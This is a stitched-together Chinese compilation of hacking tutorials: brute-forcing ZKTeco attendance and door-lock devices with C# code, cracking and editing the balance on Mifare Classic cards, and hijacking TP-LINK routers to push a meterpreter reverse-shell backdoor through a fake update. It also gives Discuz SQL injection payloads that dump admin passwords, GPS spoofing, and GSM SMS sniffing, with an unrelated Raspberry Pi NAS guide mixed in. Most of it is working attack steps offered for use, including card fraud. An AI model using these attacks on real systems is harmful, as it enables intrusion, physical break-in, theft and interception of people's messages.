中控设备缺陷利用

只要能搞定指纹考勤机(其余类型考勤机也同样),在很大情况下能搞定一家公司的所有人员信息,下面我说一下在研究指纹设备时发现的认证缺陷问题。

这里在软件选型上我找到了规模比较大的中控生物旗下的考勤产品下载,其中有下载量比较大的ZKTime系列的免费版。

2014060220133172492.png

介绍里说明几乎支持所有类型的指纹考勤机,指纹门禁及所有同品牌类型的指纹产品类型,如果算连接网络的设备全中国估计会有6位数以上的设备终端。

网站上有一篇“户外物理设备入侵之:入侵并“调教”中控指纹语音考勤系统(打卡机)”,作者只是写了个大概,并没有对程序进行过分析,有些概念是错误的,反正正好我也在研究,重新写一些东西纠正一下好了。

关于此类设备的认证方面网上都有资料可循,不过有些人说是明文,三次握手部分看不到有此类的数据包,所以应该是加密算法做哈希,尤其说过此密码估计要设备终端和PC终端相同才行。(设备默认开启4370端口,6位数字组合为暴力枚举必破)

2014060220160246182.png

2014060220170692817.png

所以这里设备爆破手法1.搞清密码处理流程用数据包骗过去。2,直接扣二次开发SDK或者找开发资料把函数扣出来。

索性SDK做得简单易懂,我看一天左右就可以上手编写破解密码的程序部分了。

2014060220183670975.jpg

指纹考勤联机部分的流程SDK文档如下:

2014060220192293626.jpg

远程网络认证部分关键函数有两个:

1.Connect_Net

VARIANT_BOOL Connect_Net( [in] BSTR IPAdd, [in] long Portl)

布尔类型的函数

IPAdd,(远程设备IP地址)和Port(设备认证端口)

2.SetCommPassword

VARIANT_BOOL SetCommPassword( [in] long CommKey)

CommKey为密码(小声说一句,可能是为了兼容或者开发方便,认证方式实在很弱)。

整个连接过程不过很短的几句代码,加个循环就能成为破解密码程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void CrackerConnect() {
    zkemkeeper.CZKEMClass axCZKEM1 = new zkemkeeper.CZKEMClass();
    int ifcommnetpass = 0;
    for (j = 0; j < 24; j++) {
        key = comkeys[j];
        pwd = axCZKEM1.SetCommPassword(key);
        if (pwd == true) {
            bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
            if (bIsConnected == true) {
                btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), comkeystr[j]);
                iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1.
                axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                ifcommnetpass = 1;
                break;
            } else {
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), comkeystr[j]);
            }
        }
    }
    if (ifcommnetpass == 0) {
        for (j = 0; j < 1000000; j++) {
            key = keys[j];
            pwd = axCZKEM1.SetCommPassword(key);
            if (pwd == true) {
                bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                if (bIsConnected == true) {
                    btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), keystr[j]);//
                    iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. //
                    axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                    break;
                } else {
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), keystr[j]);
                }
            }
        }
    }
    Cursor = Cursors.Default;
}

注意先注册SDK里提供的控件再调用里面的接口函数:

2014060220263466786.jpg

按照SDK开发的专门入侵的程序可以做到远程开关设备和远程清密码,还有开门禁等等。

比方说开门禁的

ACUnlock

【函数定义】

VARIANT_BOOL  ACUnlock([in] long dwMachineNumber, [in] long Delay)

【功能】

开门,使开门控制器输出开门电平,并延迟(Delay/10)秒后关门

【参数】

dwMachineNumber

机器号

Delay

开门延迟时间

【返回值】

成功返回True,否则返回False

2014060220272581566.jpg

还有很多功能,比如鸣叫报警,自动开门,下载整个公司数据库,照片指纹等,甚至可以像游戏Watch dog里一样手机开门,手机关门禁和考勤设备,其实考勤及门禁设备也很重要。

大家节后上班考勤难免会有问题,有缘人看这篇文章应该知道咋做了。

RFID——Mifare Classic card破解

1)暴力破解

爆破对于M1卡的破解来说比较有效,因为M1卡是被动卡,需要读卡器来供能,切断供能后卡的临时数据就丢失了,也就是说不会存在输入过多错误密码后造成的锁死之类的情况
FFFFFFFFFFFF、A0B0C0D0E0F0等等都是M1白卡的默认密码,所以当我们使用mfoc这样的工具来爆破的时候基本上都是用这些默认密码来填充剩余扇区的密码。

2)重放攻击

刚刚我们说了M1卡是被动卡,当它被供能的时候会产生随机数列,切断供能后数据不会保存,再次供能又会产生一模一样的数列,然后就可以控制切断,再次供能的时间计算出这个数列,进行重放攻击来达到修改数据的目的。

3)克隆卡片(卡复制)

M1卡的扇区可以保存数据,所以大部分的卡片会选择加密扇区后保存数据,我们可以用 uid卡来进行复制,每张M1卡在0扇区第1段都有一个唯一标识,而且是保护无法修改的,uid 卡就是没有设定0扇区保护的卡,所以你可以随意的修改你想要的uid,这样我们就可以克隆出一张连uid都相同的卡片了。(但是要注意不要把00扇区弄 坏,之前测试的时候就未知原因写坏了00扇区无法读入了)。

4)嗅探攻击

这里要用到PM3这个神器,在卡和机器数据交换的时候嗅探数据,进行攻击,利用XOR算key工具就可以把扇区的密钥计算出来。

0x01 细节


科普结束,接下来以一个实例来讲解以下破解M1卡的姿势。

关于暴力破解,我们此处用到这么几个东西,ACR122u,mfoc,libnfc。

其中ACR122u作为硬件供能,读写的作用,mfoc用来爆破,libnfc用来写入数据。

enter image description here

可以看到读出了我们的卡类型,下方的keyA keyB就是要我们破解的地方,当然,也可以使用另外一个简化版本,更粗暴简单一些,百度M1卡服务程序即可。

enter image description here

稍等片刻后就发现上下各16个勾勾都打上了,说明成功爆破了,成功后会在当前目录下生成一个dump文件,这样,这张卡的数据就被完全dump下来了,得到dumpfile1但是只有1k的大小,在win下操作的时候需要用到一个fixdump的工具来填充剩余部分

fixdump dumpfile1

即可修复,大小为4k,然后我们去消费一下这张卡(让你要修改的区域的数据改变)

enter image description here

其中前6个字节和后6个字节的FF FF FF FF FF FF即为秘钥,中间的几位FF 07 80 69即为控制位。

再次dump数据dumpfile2并修复

fixdump dumpfile2

就此,我们有了两个样本,然后做hex diff,linux下直接用diff,win下可以使用hexcmp2

enter image description here

diff后发现了数据变动的区域。

本文只修改简单的金龙卡水卡功能,所以取样两次后就可以轻松找到数据所在的扇区,如果是做比较复杂的修改那么取样可能得多次,比如做门禁攻击啥的。

可以看到这个扇区内的一些数值,末端的40,FF啥的都是存放数值的地址,我们不用管它,在M1 卡中本来要进行一次的取反和倒序存入,但是可能本屌的渣学校的卡居然直接进行16进制换算为10进制后就是水卡金额数目。。。

这里多说两句,一般情况下,数据存入是倒序的,比如F9 FE,其实真实数据是FE F9,然后换算为2进制进行取反再换算为10进制,有可能还会遇到数据的加密,我们再解密后就可以得到存入的数值了。

图中是我成功修改了最大数值后的,金额为640.00元,hex为fa 00,做测试的时候笔者太高估了学校,多次猜测其换算的算法,取样了20来次后脑洞开了,直接通过10进制转换16进制。。。居然就是那么简单!F9 FE为63998小数点请忽视。

然后使用libnfc来写入数据

.
fc-mfclassic.exe w b dumpfile_new dumpfile_old

enter image description here

至此,破解差不多就那么完成了(单纯指做数据修改的目的,不包括解决什么后患啊之类的情况)。

最后上一张成功改写后的测试图。

 

破解时长共3个小时(来回取样浪费了不少时间)。

关于验证漏洞攻击,在前面科普的时候说过,每个扇区都有独立的密码,在通常情况下,有些存储关键数据(比如饭卡里的钱)的扇区会更改密码,比如,某张卡里的第4扇区存着钱,更改了默认密码,但是其他扇区并没有更改默认密码,那么我们怎么通过其他扇区来操作第4扇区呢,这里就会用到验证漏洞攻击,也就是nested authentication 攻击,通常会在我们知道16个扇区中任意一个扇区密码来破解其他扇区的时候使用。

首先我们知道,M1卡的算法是个对等加密算法,读卡器中也保存着同样的密码,也是用同样的算法加密,当卡和机器交互的时候,读卡器首先验证0扇区的密码,卡给读卡器以明文方式发送一个随机序列a(明文),然后读卡器通过跟加密,同时自己产生一个加密的随机序列b(密文)返回,卡用自己的密码解密之后,解密出来的序列如果是自己之前发送的a,则认为正确,然后通过自己加密算法加密读卡器生成的随机序列发送给读卡器,读卡器解密之后,如果跟 自己之前发送的随机数b相同,则认为验证通过,之后所有的数据都通过此算法加密传输。

enter image description here

在整个过程中,只有a是明文,之后的都是密文,card发送一个a给读卡器之后,读卡器用错误的密码加密之后发送给card,card肯定解密错误,然后验证中断
但是,我们知道其他扇区的的密码,验证的时候,使用这个扇区验证成功之后,后面所有的数据交互都是密文,读其他扇区数据的时候,也是card首先发送随机数a,这个a是个加密的数据,之前说的每个扇区的密码是独立的,那么加密实际上就是通过card这个扇区的密码相关的算法加密的a,这个数据中就包含了这个扇区的密码信息,所以我们才能 够通过算法漏洞继续分析出扇区的密码是什么。

也就是因为这个原理,在验证漏洞的时候才必须要知道至少一个其他扇区的密码。

TP-LINK渗透Report

0x00 工具


一台笔记本电脑 TD-W8901D路由器(firmware 6.0.0) 虚拟机(WIN7)、Kali Linux(攻击机)、evilgrade(一个模块化的脚本框架,可实现伪造的升级、自带DNS和WEB服务模块,http://www.infobyte.com.ar/down/isr-evilgrade-Readme.txt) Metasploit。

PDF:TPLink

0x01 示例


互联网攻击示意图:

enter image description here

 

局域网攻击示意图

enter image description here

市场上有很多类型的路由器可用,但绝大部分从未升级固件,所以可对大多数家用路由进行这个攻击,在这个项目中使用的是最常见的TPlink路由器。

TPLINK某些版本有一个关键的漏洞:未授权访问Firmware/Romfile界面,无需登陆密码,像这样http://IP//rpFWUpload.html。

同时也可以下载romfile备份文件(rom-0),像这样:http://IP address/rom-0。

步骤一:下载rom文件 enter image description here

下载回来的rom文件需要逆向工程得到明文密码,但有一个更简单的方法,去俄罗斯的一个网站可以解密 http://www.hakim.ws/huawei/rom-0/

步骤二:使用账号密码登陆 enter image description here

第三步:使用搜索引擎SHODAN 搜索RomPager,可在互联网上找到700多万个这种设备 enter image description here

简单的改变一下路由器的DNS,就可以重定向用户的请求,这个方法可以用来钓鱼(从我了解的情况看来,国内已经有大批路由被利用,并已经被黑产用作钓鱼欺诈,黑产表打我,我猜的)。但这个太简单了,作者希望玩的更高(hua)深(shao)一些。

默认DNS的配置是这样: enter image description here

改成攻击者自己的DNS:

enter image description here

攻击系统:DNS服务器一台、kali预装了evilgrade 和metasploit。

enter image description here

第五步:建一个带后门的payload,给用户发送升级指令。LHOST= 攻击者机器IP和 LPORT =任何开放的端口。

Commad:@@# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.5.132 LPORT=8080 x > navebackdoor.exe 

2014071323521922657.jpg

第六步:启动metasploit、运行payload

2014071323523583152.jpg

2014071323530565178.jpg

2014071323531775176.jpg

第七步:设置监听主机和监听端口,命令:set LHOST(攻击者的IP)、set LPORT(监听端口,创建后门时分配的)、exploit(进行攻击)

2014071323533763041.jpg

第八步:启动假的WEB升级服务器evilgrade,执行show modules后,可以看到很多假更新模块,这里选用notepadplus

2014071323535610035.jpg

2014071323541051845.jpg

2014071323542812615.jpg

第九步:show options可以看到模块的使用方法,设置后门升级文件路径使用agent:

Set  agent  ‘[“<%OUT%>/root/Desktop/navebackdoor.exe<%OUT%>”]’ 

2014071323544287175.jpg

第十步:完成以上动作后,启动EvilGrade的WEB服务器:

start

2014071323550126547.jpg

第十一步:等受害者打开notepadplus,一旦打开就会弹出要求更新的提示,更新过程中将会加载我们的后门程序。

2014071323551940538.jpg

2014071323553365266.jpg

第十二步:在攻击机器上,evilgrade和Metasploit建立会话,等待返回的shell

2014071323554774816.jpg

第十三步:拿到shell,使用sysinfo查看一下:

2014071323560039521.jpg

输入help可以看到很多命令,包括scrrenshot、killav,运行vnc 等

2014071323561637433.jpg

2014071323563672357.jpg

0x02 防御方法


经常升级你的路由器版本

路由器不要在公网暴露

系统和软件升级时检查证书

设置静态IP,比如google的8.8.8.8、8.8.4.4(广告:阿里巴巴的公共dns 223.5.5.5 和 223.6.6.6)

高大上的漏洞Discuz x1.5– x2版本 二次注射

a’,`subject`=(/*!select*/ concat(username,’|’,password,’|’,salt) from pre_ucenter_members where uid=1 limit 0,1),comment=’

再给出一些语句。

‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=1),comment=’//查看管理用户
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=2),comment=’//超级版主
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=3),comment=’//超级版主
‘,`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment=’//跑表
‘,`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment=’//获取所有库
‘,`subject`=(/*!select*/ concat(@@version,’:’,user(),’:’,database())),comment=’//版本信息

然后到回复补充那里随便补充一下,注入语句就被执行。
补充的地址:

forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}

上面的语句就会把取得的内容写进回复主题返回。
漏洞文件:
source\module\forum\forum_misc.php

个人位置信息安全(GPS)

随着无线技术的发展,个人位置信息安全也成为一个安全议题,常见的定位手段有1.全球定位系统(GPS)2.辅助全球定位系统(AGPS)3.GSM蜂窝基站定位4.WIFI定位  面对此类通过无线电方式的定位,我们可以采用Wave Bubble进行无线电屏蔽达到防止定位的目的.

但在某些情形下Wave Bubble并不能完全逃避GPS追踪.信号的消失点及GPS运动踪迹会暴露可能的行动路径.这类情况下可以使用GPS Spoofer手段进行GPS欺骗.使GPS数据遵循可能规律不断变化来欺骗GPS卫星.在需要的环境下,GPS Spoofer同样也可以诱导GPS导向仪进行非正常路径导航.

Raspberry Pi搭建NAS服务器及打印服务器

NAS服务器搭建步骤如下:
sudo apt-get install samba
sudo apt-get install samba-common-bin
安装完成后,我们在/ect/samba/文件夹中找到这个文件smb.conf,它是用来对samba服务配置用的,用nano文件编辑器打开后发现里面很是复杂,没关系,我们只需要一个简单smb.conf。先将smb.conf重命名为smb.conf.backup。然后用下面的smb.conf替换原来的smb.conf

[global]
log file = /var/log/samba/log.%m
[tmp]
comment = Temporary file space
path = /tmp
read only = no
public = yes

保存完毕后输入命令:
sudo /etc/init.d/samba retsart
这条命令是重启samba服务,为使刚刚重新设置的配置文件生效。
这时打开电脑上的网上邻居(要保证你的电脑和树莓派在同一局域网内),你就会看到名为RASPBERRYPI这个主机了,尝试打开,发现需要用户名与密码,那下面就来创建用户吧。
@}WKY)1FS9536GW6YCIM5[N.jpg
由于创建的samba用户需要是系统内已经存在的用户,而系统默认是只有root和pi这两个用户的,如果想使用其他的用户名怎么办,新建一个(假设我们要新建一个用户名为aaa的用户)
输入命令:
sudo useradd aaa
这时系统就新建了一个名为aaa的用户,但不是我们samba还没有设置呢,别急,看下面

在/etc/samba/文件夹下建立smbpasswd文件,命令为:
sudo touch /etc/samba/smbpasswd

再给samba添加用户名为aaa的用户:sudo smbpasswd -a aaa
会让你输入密码的,自己设一个,设完了会显示:Added user aaa

到这里就搞定了,再打开网上邻居,输入刚刚设好的用户名与密码,这时就进去了,会发现一个tmp的文件夹,可以在这个文件夹内自由地读写数据了。

 

 

打印服务器搭建准备工作:
1.连接网络的树莓派
2.usb接口的打印机

步骤如下:
1.安装CUPS软件,”CUPS“是linux下可以用通用打印系统(百度百科http://baike.baidu.com/view/887944.htm

  1. sudo apt-get install cups

复制代码

1.jpg

2.允许pi用户配置CUPS,

  1. sudo usermod -a -G lpadmin pi

复制代码

3.备份替换CUPS配置:
关闭服务

  1. sudo service cups stop

复制代码

备份配置文件

  1. sudo mv /etc/cups/cupsd.conf /etc/cups/cupsd.conf.bak

复制代码

替换配置文件(root用户去掉“sudo”)

  1. sudo cd /etc/cups/ && sudo wget http://jxeeno.tk/local–files/blog:raspberry-pi:print-server/cupsd.conf

复制代码

重启服务

  1. sudo service cups start

复制代码

4.PC端用IE浏览器打开网站“https://树莓派ip:631/ 
2.jpg

5.点击“Administrator”界面添加对应的打印机,登录帐号和密码是树莓派的pi用户的密码

3.jpg4.jpg
在local printers中找到usb连接的打印机,打印机名“scx3405”

 

 

 

 

 

到此树莓派的打印机设置就完成了!

 

6.网络打印机的地址“http://树莓派ip:631/printers/scx3405 ”,PC端按照此地址添加网络打印机和驱动就行了

 

GSM Hackeing 之 SMS Sniffer 学习

0x00 前言


最近看到微博以及一些论坛谈论关于GSM Hacking的比较多,使用的是开源的程序 osmocombb 和摩托罗拉的手机 c118。我也凑凑热闹,找来相关资料进行学习,国内关于这方面的资料的确太少了,大都是一些编译 osmocombb 的资料,而没有更深入的学习资料,比如如何进行 GSM SMS 的 Sniffer,估计是在我大宋朝这个太敏感了吧。

不过最近在 http://www.hacklook.com/ 却有不少相关的资料可以参考学习,在次对作者表示感谢。

 

0x01 准备工具


对这方面学习所需要的工具倒不是很昂贵,下面罗列出需要的材料:

一台笔记本或者一台虚拟机
C118 手机一台
FT232RL、CP2102、PL2303 USB2TTL 模块一个
2.5mm 耳机插头带线一根

C118 手机淘宝 25 元左右一台,为了避免广告这里不给出链接了。USB2TTL模块我这里用的是PL2303,我看有的文章说这个不行,但是我这里没问题,2.5mm的耳机线买的是那种两头都是插头的,中间剪开然后接上杜邦头就可以和USB2TTL进行连接了。以上成本加起来30元左右。 下面是全家福

enter image description here

0x02 编译环境


PC端环境我使用的是虚拟机,操作系统安装Kali Linux操作系统,由于Kali系统中已经有PL2303的驱动,so太方便了。Kali的安装就略过。下面进行osmocombb的编译:

安装需要的包

1
sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev  

然后建立交叉编译环境,主要参考下面文章:

http://bb.osmocom.org/trac/wiki/GnuArmToolchain

下载 osmocombb、libosmocore 源码

1
2
3
cd ~  
git clone git://git.osmocom.org/osmocom-bb.git  
git clone git://git.osmocom.org/libosmocore.git

编译 libosmocore

1
2
3
4
5
cd ~/libosmocore
autoreconf -i  
./configure
make
sudo make install

然后切换 osmocombb 到下面的分支,并且编译

1
2
3
4
cd ~/osmocom-bb
git checkout --track origin/luca/gsmmap
cd src  
make

0x03 测试


经过上面的编译过程,环境准备的差不多了,下面进行测试,首先确保一下步骤:

把 USB2TTL 模块插入到电脑上,再共享到虚拟机中

把带有 2.5mm 耳机插头的线一头接手机,另外一头链接 USB2TTL 模块

可以通过下面命令来查看是否正常:

1
lsmod | grep usb

我这边显示为:

1
usbserial              23960  1 pl2303

手机处于关机状态,运行如下命令:

1
2
cd ~/osmocom-bb/src/host/osmocon/
./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

这个时候短按手机开机键,在虚拟机中会看到如下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
got 1 bytes from modem, data looks like: 2f  /
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 1b  .
got 4 bytes from modem, data looks like: f6 02 00 41  ...A
got 1 bytes from modem, data looks like: 01  .
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=56016, hdr_len=4, dnload_len=56023
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 43  C
Received PROMPT2 from phone, starting download
handle_write(): 4096 bytes (4096/56023)
handle_write(): 4096 bytes (8192/56023)
handle_write(): 4096 bytes (12288/56023)
handle_write(): 4096 bytes (16384/56023)
handle_write(): 4096 bytes (20480/56023)
handle_write(): 4096 bytes (24576/56023)
handle_write(): 4096 bytes (28672/56023)
handle_write(): 4096 bytes (32768/56023)
handle_write(): 4096 bytes (36864/56023)
handle_write(): 4096 bytes (40960/56023)
handle_write(): 4096 bytes (45056/56023)
handle_write(): 4096 bytes (49152/56023)
handle_write(): 4096 bytes (53248/56023)
handle_write(): 2775 bytes (56023/56023)
handle_write(): finished
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 03  .
got 1 bytes from modem, data looks like: 42  B
Received DOWNLOAD ACK from phone, your code is running now!
battery_compal_e88_init: starting up

然后在虚拟机中再起一个终端,执行如下命令进行基站扫描

1
2
cd ~/osmocom-bb/src/host/layer23/src/misc/
./cell_log

看到如下输出则说明扫描到可用的基站

1
2
3
4
ARFCN 117: tuning
ARFCN 117: got sync
Cell ID: 460_1_03EE_B130
<000e> cell_log.c:248 Cell: ARFCN=117 PWR=-62dB MCC=460 MNC=01 (China, China Unicom)

基站的绝对无线频道编号为 117,然后通过如下的命令进行抓包

1
2
cd ~/osmocom-bb/src/host/layer23/src/misc/
./ccch_scan -i 127.0.0.1 -a 117

同时开启 wireshark 抓包,

1
sudo wireshark -k -i lo -f 'port 4729'

然后在 wireshark 的 filter 中对 gsm_sms 的包进行过滤显示 下图为抓到的短信包:

enter image description here

0x04 最后


本文参考下面资料:

http://bb.osmocom.org/

https://srlabs.de/gsm-map-tutorial/

https://srlabs.de/gprs/

http://www.hacklook.com/forum.php?mod=viewthread&tid=12

http://www.hacklook.com/forum.php?mod=viewthread&tid=22

下面是部分注意事项

请注意 USB2TTL GND/TX/RX 的接线顺序

以及确认交叉编译环境正常工作

OVER!